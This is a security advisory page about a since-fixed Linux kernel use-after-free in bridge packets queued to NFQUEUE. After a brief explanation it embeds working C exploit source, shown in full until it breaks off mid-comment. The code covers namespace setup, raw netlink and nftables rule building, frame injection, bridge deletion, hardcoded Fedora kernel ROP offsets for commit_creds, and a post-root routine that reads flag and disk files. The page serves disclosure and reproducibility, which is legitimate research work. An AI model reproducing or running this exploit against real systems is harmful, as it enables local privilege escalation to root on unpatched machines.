Summary
A bridge packet sent to an NFQUEUE could keep a pointer to the bridge device without keeping that device alive. Deleting the bridge while the packet waited in userspace left the queued packet pointing at freed kernel memory.
The public exploit was validated on Fedora 44 with Linux 6.19.10-300, including SELinux and randomized kernel allocation caches. The issue was fixed upstream in May 2026.
Why it mattered
A local attacker with access to a network namespace could queue a bridge-local packet, remove the bridge, and then resume processing. That lifecycle gap could be turned from a crash into kernel memory reuse and local privilege escalation.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
br_pass_frame_up() changed skb->dev to the bridge master before invoking netfilter. NFQUEUE retained references to the hook input device, but not to the different bridge device stored in the packet, so teardown was free to release it.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(int argc, char **argv){ if (argc == 2 && !strcmp(argv[1], "--worker")) return worker_main(); setvbuf(stdout, NULL, _IONBF, 0); drop_to_nobody_if_root(); for (int attempt = 1; attempt <= 3; attempt++) { pid_t child = fork(); int status; if (child < 0) die("fork(worker)"); if (!child) { execl("/proc/self/exe", "exploit", "--worker", NULL); _exit(127); }
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <net/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_link.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <linux/netfilter/xt_physdev.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "leak.h"
#include "known_page.h"
#define QUEUE_NUM 4242
#define NF_BR_LOCAL_IN 1
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define FEDORA_IMAGE_EDGE_BIAS UINT64_C(0x200000)
#define OFF_RDX_STACK_PIVOT UINT64_C(0x599582)
#define OFF_POP_RSP UINT64_C(0x2762f0)
#define OFF_POP_RDI UINT64_C(0x203a95)
#define OFF_COMMIT_CREDS UINT64_C(0x425660)
#define OFF_INIT_CRED UINT64_C(0x2a15840)
#define OFF_INIT_NET UINT64_C(0x3b6d6c0)
#define OFF_RCU_READ_UNLOCK UINT64_C(0x4da7d0)
#define OFF_LOCAL_BH_ENABLE UINT64_C(0x3e97f0)
#define OFF_KPTI_RETURN UINT64_C(0x1894)
#define PACKET_TYPE_FUNC 0x10
#define PACKET_TYPE_LIST 0x38
#define FAKE_PTYPE1 0x1000
#define FAKE_PTYPE2 0x1100
#define ANCHOR_ROP 0x1800
#define UNIX_SPRAY_PAIRS 32
#define UNIX_SPRAY_PER_PAIR 8
#define UNIX_SPRAY_LEN 7000
static uint32_t nl_seq;
static uint64_t kernel_slide;
static uint64_t known_page;
static int spray_fds[UNIX_SPRAY_PAIRS][2];
static uint64_t user_cs, user_ss, user_rflags, user_rsp;
static void *user_stack;
static void recv_ack(int fd, uint32_t seq);
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void write_all(int fd, const char *buf, size_t len)
{
while (len) {
ssize_t n = write(fd, buf, len);
if (n < 0) {
if (errno == EINTR)
continue;
die("write");
}
buf += n;
len -= (size_t)n;
}
}
static void write_text(const char *path, const char *text)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die(path);
write_all(fd, text, strlen(text));
close(fd);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}
static void resolve_kernel_addresses(void)
{
/* The generic helper reports one 2-MiB slot below Fedora's _text. */
kernel_slide = leak_image_slide_checked() +
FEDORA_IMAGE_EDGE_BIAS;
printf("[+] resolved _text slide=%#llx\n",
(unsigned long long)kernel_slide);
}
static void drop_to_nobody_if_root(void)
{
if (geteuid() != 0)
return;
if (setgroups(0, NULL) < 0)
die("setgroups(drop)");
if (setresgid(65534, 65534, 65534) < 0)
die("setresgid(nobody)");
if (setresuid(65534, 65534, 65534) < 0)
die("setresuid(nobody)");
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
die("prctl(PR_SET_DUMPABLE)");
}
static void enter_unprivileged_user_net_mount_namespaces(void)
{
char map[128];
uid_t uid;
gid_t gid;
uid = getuid();
gid = getgid();
printf("[+] initial credentials uid=%u gid=%u\n", uid, gid);
if (unshare(CLONE_NEWUSER) < 0)
die("unshare(CLONE_NEWUSER)");
write_text("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_text("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_text("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("setresuid/setresgid(namespace root)");
if (unshare(CLONE_NEWNET | CLONE_NEWNS) < 0)
die("unshare(CLONE_NEWNET|CLONE_NEWNS)");
printf("[+] namespace credentials uid=%u gid=%u\n", getuid(), getgid());
}
static struct nlattr *put_attr(struct nlmsghdr *nlh, size_t cap,
uint16_t type, const void *data, size_t len)
{
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
size_t need = NLA_ALIGN(NLA_HDRLEN + len);
struct nlattr *nla;
if (off + need > cap) {
errno = EMSGSIZE;
die("put_attr");
}
nla = (struct nlattr *)((char *)nlh + off);
nla->nla_type = type;
nla->nla_len = (uint16_t)(NLA_HDRLEN + len);
memcpy((char *)nla + NLA_HDRLEN, data, len);
memset((char *)nla + nla->nla_len, 0, need - nla->nla_len);
nlh->nlmsg_len = (uint32_t)(off + need);
return nla;
}
static void send_nl(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
};
if (sendmsg(fd, &msg, 0) < 0)
die("sendmsg(NETLINK_NETFILTER)");
}
static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t cap,
uint16_t type)
{
return put_attr(nlh, cap, type | NLA_F_NESTED, NULL, 0);
}
static void nest_end(struct nlmsghdr *nlh, struct nlattr *nla)
{
nla->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len - (char *)nla);
}
static int open_netlink_route(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
if (fd < 0)
die("socket(NETLINK_ROUTE)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_ROUTE)");
return fd;
}
static void rtnl_send_ack(int fd, struct nlmsghdr *nlh)
{
nlh->nlmsg_seq = ++nl_seq;
send_nl(fd, nlh);
recv_ack(fd, nlh->nlmsg_seq);
}
static void rtnl_new_bridge(int fd, const char *name)
{
char buf[1024] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
struct nlattr *linkinfo;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
put_attr(nlh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1);
linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge"));
nest_end(nlh, linkinfo);
rtnl_send_ack(fd, nlh);
printf("[+] created bridge %s via raw rtnetlink\n", name);
}
static void rtnl_new_veth(int fd, const char *left, const char *right)
{
char buf[1536] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
struct nlattr *linkinfo, *infodata, *peer;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
put_attr(nlh, sizeof(buf), IFLA_IFNAME, left, strlen(left) + 1);
linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "veth", sizeof("veth"));
infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA);
peer = nest_start(nlh, sizeof(buf), VETH_INFO_PEER);
if (nlh->nlmsg_len + sizeof(*ifi) > sizeof(buf)) {
errno = EMSGSIZE;
die("rtnl veth peer");
}
ifi = (void *)(buf + nlh->nlmsg_len);
memset(ifi, 0, sizeof(*ifi));
ifi->ifi_family = AF_UNSPEC;
nlh->nlmsg_len += sizeof(*ifi);
put_attr(nlh, sizeof(buf), IFLA_IFNAME, right, strlen(right) + 1);
nest_end(nlh, peer);
nest_end(nlh, infodata);
nest_end(nlh, linkinfo);
rtnl_send_ack(fd, nlh);
printf("[+] created veth %s/%s via raw rtnetlink\n", left, right);
}
static unsigned int require_ifindex(const char *name)
{
unsigned int index = if_nametoindex(name);
if (!index)
die("if_nametoindex");
return index;
}
static void rtnl_set_master(int fd, const char *port, const char *master)
{
char buf[512] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
uint32_t master_index = require_ifindex(master);
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(port);
put_attr(nlh, sizeof(buf), IFLA_MASTER, &master_index, sizeof(master_index));
rtnl_send_ack(fd, nlh);
}
static void rtnl_set_up(int fd, const char *name)
{
char buf[512] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(name);
ifi->ifi_flags = IFF_UP;
ifi->ifi_change = IFF_UP;
rtnl_send_ack(fd, nlh);
}
static void rtnl_set_bridge_nf_call_iptables(int fd, const char *name)
{
char buf[768] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
struct nlattr *linkinfo, *infodata;
uint8_t one = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(name);
linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge"));
infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA);
put_attr(nlh, sizeof(buf), IFLA_BR_NF_CALL_IPTABLES, &one, sizeof(one));
nest_end(nlh, infodata);
nest_end(nlh, linkinfo);
rtnl_send_ack(fd, nlh);
}
static void rtnl_delete_link(const char *name)
{
int fd = open_netlink_route();
char buf[512] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_DELLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(name);
rtnl_send_ack(fd, nlh);
close(fd);
}
static void send_nft_batch_one(int fd, struct nlmsghdr *request)
{
char batch[4096] = { 0 };
struct nlmsghdr *begin = (void *)batch;
struct nfgenmsg *nfg;
struct nlmsghdr *msg;
struct nlmsghdr *end;
size_t off;
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov;
struct msghdr mh = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
};
uint32_t request_seq;
begin->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
begin->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
begin->nlmsg_flags = NLM_F_REQUEST;
begin->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(begin);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
off = NLMSG_ALIGN(begin->nlmsg_len);
msg = (void *)(batch + off);
memcpy(msg, request, request->nlmsg_len);
msg->nlmsg_seq = ++nl_seq;
request_seq = msg->nlmsg_seq;
off += NLMSG_ALIGN(msg->nlmsg_len);
end = (void *)(batch + off);
end->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
end->nlmsg_type = NFNL_MSG_BATCH_END;
end->nlmsg_flags = NLM_F_REQUEST;
end->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(end);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
off += NLMSG_ALIGN(end->nlmsg_len);
iov.iov_base = batch;
iov.iov_len = off;
if (sendmsg(fd, &mh, 0) < 0)
die("sendmsg(nft batch)");
recv_ack(fd, request_seq);
}
static void nft_base_request(char *buf, size_t cap, uint16_t msg_type,
uint8_t family)
{
struct nlmsghdr *nlh = (void *)buf;
struct nfgenmsg *nfg;
memset(buf, 0, cap);
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | msg_type;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = family;
nfg->version = NFNETLINK_V0;
nfg->res_id = 0;
}
static int open_netfilter_socket(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
if (fd < 0)
die("socket(NETLINK_NETFILTER)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_NETFILTER)");
return fd;
}
static void install_br_netfilter_autoload_rule_raw(void)
{
int fd = open_netfilter_socket();
char buf[2048];
struct nlmsghdr *nlh = (void *)buf;
struct nlattr *hook, *exprs, *elem, *data;
uint32_t hooknum = htonl(NF_INET_FORWARD);
uint32_t priority = htonl(0);
uint32_t policy = htonl(NF_ACCEPT);
uint32_t revision = htonl(0);
struct xt_physdev_info physdev = {
.bitmask = XT_PHYSDEV_OP_BRIDGED,
};
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWTABLE, NFPROTO_IPV4);
put_attr(nlh, sizeof(buf), NFTA_TABLE_NAME, "autoload", sizeof("autoload"));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWCHAIN, NFPROTO_IPV4);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TABLE, "autoload", sizeof("autoload"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_NAME, "fwd", sizeof("fwd"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TYPE, "filter", sizeof("filter"));
hook = nest_start(nlh, sizeof(buf), NFTA_CHAIN_HOOK);
put_attr(nlh, sizeof(buf), NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum));
put_attr(nlh, sizeof(buf), NFTA_HOOK_PRIORITY, &priority, sizeof(priority));
nest_end(nlh, hook);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_POLICY, &policy, sizeof(policy));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWRULE, NFPROTO_IPV4);
put_attr(nlh, sizeof(buf), NFTA_RULE_TABLE, "autoload", sizeof("autoload"));
put_attr(nlh, sizeof(buf), NFTA_RULE_CHAIN, "fwd", sizeof("fwd"));
exprs = nest_start(nlh, sizeof(buf), NFTA_RULE_EXPRESSIONS);
elem = nest_start(nlh, sizeof(buf), NFTA_LIST_ELEM);
put_attr(nlh, sizeof(buf), NFTA_EXPR_NAME, "match", sizeof("match"));
data = nest_start(nlh, sizeof(buf), NFTA_EXPR_DATA);
put_attr(nlh, sizeof(buf), NFTA_MATCH_NAME, "physdev", sizeof("physdev"));
put_attr(nlh, sizeof(buf), NFTA_MATCH_REV, &revision, sizeof(revision));
put_attr(nlh, sizeof(buf), NFTA_MATCH_INFO, &physdev, sizeof(physdev));
nest_end(nlh, data);
nest_end(nlh, elem);
nest_end(nlh, exprs);
send_nft_batch_one(fd, nlh);
close(fd);
printf("[+] installed raw nft/xt_physdev rule to request br_netfilter\n");
}
static void install_bridge_queue_rule_raw(void)
{
int fd = open_netfilter_socket();
char buf[2048];
struct nlmsghdr *nlh = (void *)buf;
struct nlattr *hook, *exprs, *elem, *data;
uint32_t hooknum = htonl(NF_BR_LOCAL_IN);
uint32_t priority = htonl(10);
uint32_t policy = htonl(NF_ACCEPT);
uint16_t qnum = htons(QUEUE_NUM);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWTABLE, NFPROTO_BRIDGE);
put_attr(nlh, sizeof(buf), NFTA_TABLE_NAME, "c9c9", sizeof("c9c9"));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWCHAIN, NFPROTO_BRIDGE);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TABLE, "c9c9", sizeof("c9c9"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_NAME, "local", sizeof("local"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TYPE, "filter", sizeof("filter"));
hook = nest_start(nlh, sizeof(buf), NFTA_CHAIN_HOOK);
put_attr(nlh, sizeof(buf), NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum));
put_attr(nlh, sizeof(buf), NFTA_HOOK_PRIORITY, &priority, sizeof(priority));
nest_end(nlh, hook);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_POLICY, &policy, sizeof(policy));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWRULE, NFPROTO_BRIDGE);
put_attr(nlh, sizeof(buf), NFTA_RULE_TABLE, "c9c9", sizeof("c9c9"));
put_attr(nlh, sizeof(buf), NFTA_RULE_CHAIN, "local", sizeof("local"));
exprs = nest_start(nlh, sizeof(buf), NFTA_RULE_EXPRESSIONS);
elem = nest_start(nlh, sizeof(buf), NFTA_LIST_ELEM);
put_attr(nlh, sizeof(buf), NFTA_EXPR_NAME, "queue", sizeof("queue"));
data = nest_start(nlh, sizeof(buf), NFTA_EXPR_DATA);
put_attr(nlh, sizeof(buf), NFTA_QUEUE_NUM, &qnum, sizeof(qnum));
nest_end(nlh, data);
nest_end(nlh, elem);
nest_end(nlh, exprs);
send_nft_batch_one(fd, nlh);
close(fd);
printf("[+] installed raw nft bridge/local-in priority 10 queue rule\n");
}
static void recv_ack(int fd, uint32_t seq)
{
char buf[8192];
for (;;) {
ssize_t len = recv(fd, buf, sizeof(buf), 0);
struct nlmsghdr *nlh;
if (len < 0) {
if (errno == EINTR)
continue;
die("recv(netfilter ack)");
}
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
nlh = NLMSG_NEXT(nlh, len)) {
struct nlmsgerr *err;
if (nlh->nlmsg_seq != seq || nlh->nlmsg_type != NLMSG_ERROR)
continue;
err = NLMSG_DATA(nlh);
if (err->error) {
errno = -err->error;
die("NFQUEUE netlink ack");
}
return;
}
}
}
static int open_and_bind_nfqueue(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
.nl_pid = (uint32_t)getpid(),
};
char buf[256] = { 0 };
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct nfgenmsg *nfg;
struct nfqnl_msg_config_cmd cmd = {
.command = NFQNL_CFG_CMD_BIND,
.pf = htons(AF_INET),
};
struct nfqnl_msg_config_params params = {
.copy_range = htonl(0xffff),
.copy_mode = NFQNL_COPY_PACKET,
};
if (fd < 0)
die("socket(NETLINK_NETFILTER)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_NETFILTER)");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
put_attr(nlh, sizeof(buf), NFQA_CFG_CMD, &cmd, sizeof(cmd));
send_nl(fd, nlh);
recv_ack(fd, nl_seq);
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
put_attr(nlh, sizeof(buf), NFQA_CFG_PARAMS, ¶ms, sizeof(params));
send_nl(fd, nlh);
recv_ack(fd, nl_seq);
printf("[+] bound NFQUEUE %d via raw NETLINK_NETFILTER\n", QUEUE_NUM);
return fd;
}
static uint32_t recv_packet_id(int fd)
{
char buf[65536];
for (;;) {
ssize_t len = recv(fd, buf, sizeof(buf), 0);
struct nlmsghdr *nlh;
if (len < 0) {
if (errno == EINTR)
continue;
die("recv(NFQUEUE packet)");
}
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
nlh = NLMSG_NEXT(nlh, len)) {
struct nfgenmsg *nfg;
struct nlattr *nla;
int rem;
if (nlh->nlmsg_type !=
((NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_PACKET))
continue;
nfg = NLMSG_DATA(nlh);
rem = (int)nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg));
nla = (struct nlattr *)((char *)nfg + NLMSG_ALIGN(sizeof(*nfg)));
while (rem >= (int)sizeof(*nla) && nla->nla_len >= sizeof(*nla) &&
nla->nla_len <= rem) {
if ((nla->nla_type & NLA_TYPE_MASK) == NFQA_PACKET_HDR &&
nla->nla_len >= NLA_HDRLEN + sizeof(struct nfqnl_msg_packet_hdr)) {
struct nfqnl_msg_packet_hdr *ph =
(void *)((char *)nla + NLA_HDRLEN);
uint32_t id = ntohl(ph->packet_id);
printf("[+] QUEUED packet id=%u while bridge is live\n", id);
return id;
}
rem -= NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)nla + NLA_ALIGN(nla->nla_len));
}
}
}
}
static void send_verdict_accept(int fd, uint32_t id)
{
char buf[256] = { 0 };
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct nfgenmsg *nfg;
struct nfqnl_msg_verdict_hdr vh = {
.verdict = htonl(NF_ACCEPT),
.id = htonl(id),
};
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
put_attr(nlh, sizeof(buf), NFQA_VERDICT_HDR, &vh, sizeof(vh));
send_nl(fd, nlh);
/* A fixed kernel may reap the queued entry during bridge unregister.
* Do not block forever waiting for an ACK in that case. */
printf("[+] sent NF_ACCEPT verdict for id=%u\n", id);
}
static uint16_t ip_checksum(const void *data, size_t len)
{
const uint16_t *p = data;
uint32_t sum = 0;
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len)
sum += *(const uint8_t *)p;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)~sum;
}
static void get_mac(const char *ifname, unsigned char mac[ETH_ALEN])
{
int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
struct ifreq ifr = { 0 };
if (fd < 0)
die("socket(SIOCGIFHWADDR)");
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static void send_ipv4_frame(void)
{
struct {
unsigned char dst[ETH_ALEN];
unsigned char src[ETH_ALEN];
uint16_t proto;
struct {
uint8_t version_ihl;
uint8_t tos;
uint16_t total_len;
uint16_t id;
uint16_t frag_off;
uint8_t ttl;
uint8_t protocol;
uint16_t check;
uint32_t saddr;
uint32_t daddr;
} __attribute__((packed)) ip;
} __attribute__((packed)) frame = { 0 };
struct sockaddr_ll sa = { 0 };
int fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL));
if (fd < 0)
die("socket(AF_PACKET)");
get_mac("_1", frame.src);
/* A bridge-local destination reaches br_pass_frame_up() and therefore
* queues after skb->dev has been changed to the bridge master. */
get_mac("_n0", frame.dst);
frame.proto = htons(ETH_P_IP);
frame.ip.version_ihl = 0x45;
frame.ip.total_len = htons(sizeof(frame.ip));
frame.ip.id = htons(0x5f6e);
frame.ip.ttl = 64;
frame.ip.protocol = IPPROTO_ICMP;
frame.ip.saddr = inet_addr("10.0.0.1");
frame.ip.daddr = inet_addr("10.0.0.2");
frame.ip.check = ip_checksum(&frame.ip, sizeof(frame.ip));
sa.sll_family = AF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("_1");
sa.sll_halen = ETH_ALEN;
memcpy(sa.sll_addr, frame.dst, ETH_ALEN);
if (!sa.sll_ifindex)
die("if_nametoindex(p0)");
if (sendto(fd, &frame, sizeof(frame), 0,
(struct sockaddr *)&sa, sizeof(sa)) != sizeof(frame))
die("sendto(AF_PACKET)");
close(fd);
printf("[+] injected bridge-local IPv4 frame through p0\n");
}
static pid_t start_bridge_delete(void)
{
pid_t pid = fork();
if (pid < 0)
die("fork(RTM_DELLINK)");
if (pid == 0) {
rtnl_delete_link("_n0");
_exit(0);
}
return pid;
}
static void print_relevant_modules(void)
{
FILE *fp = fopen("/proc/modules", "re");
char line[512];
if (!fp) {
perror("fopen(/proc/modules)");
return;
}
while (fgets(line, sizeof(line), fp)) {
if (!strncmp(line, "bridge ", 7) ||
!strncmp(line, "br_netfilter ", 13) ||
!strncmp(line, "nfnetlink_queue ", 18) ||
!strncmp(line, "nf_tables ", 10) ||
!strncmp(line, "nft_queue ", 10) ||
!strncmp(line, "nft_compat ", 11))
fputs(line, stdout);
}
fclose(fp);
}
static bool wait_delete_bounded(pid_t pid, int *status)
{
struct timespec ts = { .tv_nsec = 10000000 };
for (int i = 0; i < 200; i++) {
pid_t ret = waitpid(pid, status, WNOHANG);
if (ret == pid)
return true;
if (ret < 0)
die("waitpid(delete)");
nanosleep(&ts, NULL);
}
return false;
}
__attribute__((noreturn))
static void post_root(void)
{
static const char *paths[] = { "/flag", "/dev/vdb", "/dev/vdc" };
char buffer[4096];
printf("[+] returned to user mode with uid=%u euid=%u\n",
getuid(), geteuid());
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
int fd = open(paths[i], O_RDONLY | O_CLOEXEC);
ssize_t got;
if (fd < 0)
continue;
got = read(fd, buffer, sizeof(buffer));
close(fd);
if (got > 0)
write_all(STDOUT_FILENO, buffer, (size_t)got);
}
/* The accepted NFQUEUE entry still owns the corrupted skb. Keep the
